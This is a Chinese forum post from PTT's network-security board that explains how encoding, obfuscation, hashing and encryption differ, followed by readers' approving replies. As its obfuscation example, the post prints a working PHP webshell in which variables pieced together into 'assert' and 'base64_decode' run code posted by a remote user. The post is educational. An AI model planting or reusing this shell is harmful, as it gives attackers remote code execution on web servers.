作者CMJ0121 (不要偷 Q)
看板NetSecurity
标题[闲聊] 2018-M01 - 混淆、编码、杂凑、加密 (201)
时间Wed Jan 31 23:24:30 2018
2018-M01 - 混淆、编码、杂揍、加密 (201)
> 各种开奖、各种开履历
## 前言 ##
很久没写文章了~ 希望 2018 的第一篇合大家的口味
会写这篇主要是最近在写 糟(ㄟ) 糕(ㄆㄧㄢˋ) 的爬虫
发现目标使用的技术蛮有趣的
各种浪费我的人生 但使用到的技术也仅限於混淆跟编码
让我想再写一次四种关键字的差异性
## 内容 ##
在很多时候 程式设计师不太想让别人了解内容时会使用各种技术
总结来说可以分为三种:
编码、
杂凑、
加密 三者本身有各自的特色
就结果论来说 三者给予足够多的资源、人力、时间都有办法找到原本的内容
### 编码 ###
就实务面来说 编码可以透过不少方式来推测编码函数
透过频率分析[1] 可以判断出判断哪些常见字的编码方式 加快分析的速度
也可以透过足够多的明文[2] 来做差异分析推测编码方式
这类型都是利用本身可逆、不具雪崩性[3] 来进行攻击
### 混淆 ###
编码的另一种延伸方式则是混淆[4]
透过移除不必要的资讯、替换成不易阅读的内容造成本身的阅读障碍
像是某天拿到的 webshell 样本 (原本是单一行 我是为了'阅读'方便拆成若干行)
@$_=[].'';
@$___=$_[''];
$____=$___;
$____++;
$_____=$____;
$_____++;
$______=$_____;
$______++;
$_______=$______;
$_______++;
$________=$_______;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$_________=$________;
$_________++;
$_________++;
$_________++;
$_________++;
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;
$________++;
$________++;
$_____=$_________;
$_____++;
$__=$___.$_________.$_________.$_______.$________.$_____;
@$__($_("ZXZhbCgkX1BPU1RbY10p"))
这段 Code 本身不具可读性 在分析上也需要花费够多的人力才有办法推敲其中的逻辑
透过这类型的编码、混淆技术 在执行上没有太大的影响
但是对於需要逆向分析其中逻辑的人 则需要花费大量时间、工具来进行分析
### 杂凑 ###
对於杂凑[5]来说 本身设计上并不预期可逆向反推原本的资讯
透过一个 n-to-1 的数学函数 将原本的资讯
压缩成固定长度的资料
本身利用数学上证明的散布特性 证明碰撞的情况很难发生
在隐匿资讯上的效果非凡 但本身不可逆的特性只能用来证明资料的正确性
在实务面上可以用来储存密码 因为在各种情况下密码都不应该被明文储存
这代表需要有一种方式 既可以比对密码的正确性 又可以避免储存明文密码
在现代杂凑函数的设计上 都会将雪崩性设计在函数特性中
为了避免高速运算与硬体上的加速也会使用较大空间
但因本身压缩资料的特性 代表杂凑碰撞的可能性存在
透过彩虹表[6] 技巧 可以将问题从时间转换成空间
也就是先行计算所有可能的杂凑值来反推可行的原始内容
另外也可透过函数本身的缺陷 用比暴力破解还要快的速度来产生碰撞值
通常为了增加破解的难度 会额外使用 salt[7] 来增加额外的随机性
### 加密 ###
最後来到神秘的殿堂 为了结合编码 (可逆) 与杂凑 (不可破解) 的特性
密码学 [8] 成为最後一道防线 (?)
就现代密码学角度来看可以分为两大族群:对称式与非对称式 [9]
对称式加密代表加密、解密使用相同的一把金钥 这表示加密的人同时需要负担保护金钥的责任
就对称式加密来看
平均了每个字出现的机率来减少频率分析攻击
增加了雪崩的特性来避免明文攻击
只要确保演算法本身没有存在严重的瑕疵 对称式加密本身是一个好的保密方式
像是 AES [10] 则是一个广泛被使用的对称式加密演算法
除了旁道攻击 [11] 外 目前尚未有有效的攻击方式
但就像一开始提到的 对称式加密需要加、解密双方同时拥有金钥 在某些情境下是不适合的
非对称式加密则是加密、解密拥有不同的两把金钥
对需要让双方资讯不对等的情境下使用特别有效
非对称加密是建构在一种特殊的数学模型上
像是去年文章 [12]中提到的 ECC 就是建构在椭圆曲线本身难以反推的特性
在这种特性下进行加密时 握有密钥的人才有办法解开秘文
## 给 END 的人 ##
不想被一眼看出来内容 →编码、混淆
想浪费别人人生 →混淆、加密
一定不想被看出内容 →杂凑
自己想看内容但别人不能看 →加密
[1]:
https://en.wikipedia.org/wiki/Frequency_analysis
[2]:
https://en.wikipedia.org/wiki/Chosen-plaintext_attack
[3]:
https://en.wikipedia.org/wiki/Avalanche_effect
[4]:
https://en.wikipedia.org/wiki/Minification_(programming)
[5]:
https://en.wikipedia.org/wiki/Hash_function
[6]:
https://en.wikipedia.org/wiki/Rainbow_table
[7]:
https://en.wikipedia.org/wiki/Salt_(cryptography)
[8]:
https://en.wikipedia.org/wiki/Cryptography
[9]:
https://en.wikipedia.org/wiki/Public-key_cryptography
[10]:
https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
[11]:
https://en.wikipedia.org/wiki/Side-channel_attack
[12]:
https://webptt.com/cn.aspx?n=bbs/NetSecurity/M.1494334702.A.07A.html
--
※ 发信站: 批踢踢实业坊(ptt.cc), 来自: 123.193.122.171
※ 文章网址: https://webptt.com/cn.aspx?n=bbs/NetSecurity/M.1517412273.A.E5F.html
1F:推 craig1122321: 推一个认真资安教学文,我还不把这四个加在一起做撒 02/01 00:51
2F:→ craig1122321: 尿牛丸 02/01 00:51
3F:推 momo81: 推 02/01 10:15
4F:推 hmj: 赞,谢谢分享! 02/01 17:13
5F:推 ym7834: 谢谢 02/01 18:22
6F:推 klass: 推~~! 02/04 23:12
7F:推 medal893: 推 02/21 14:39
8F:→ adsl9527: 推 02/25 19:49
9F:推 holishing: 02/28 22:37
10F:推 achilles2550: 推! 04/02 17:17
11F:推 haker00d: 推 04/03 17:13
12F:推 ddtsatan: 推 04/20 14:57
13F:推 rezoy0012: 推个 04/28 17:45
14F:推 hzllaga: 推 05/02 14:45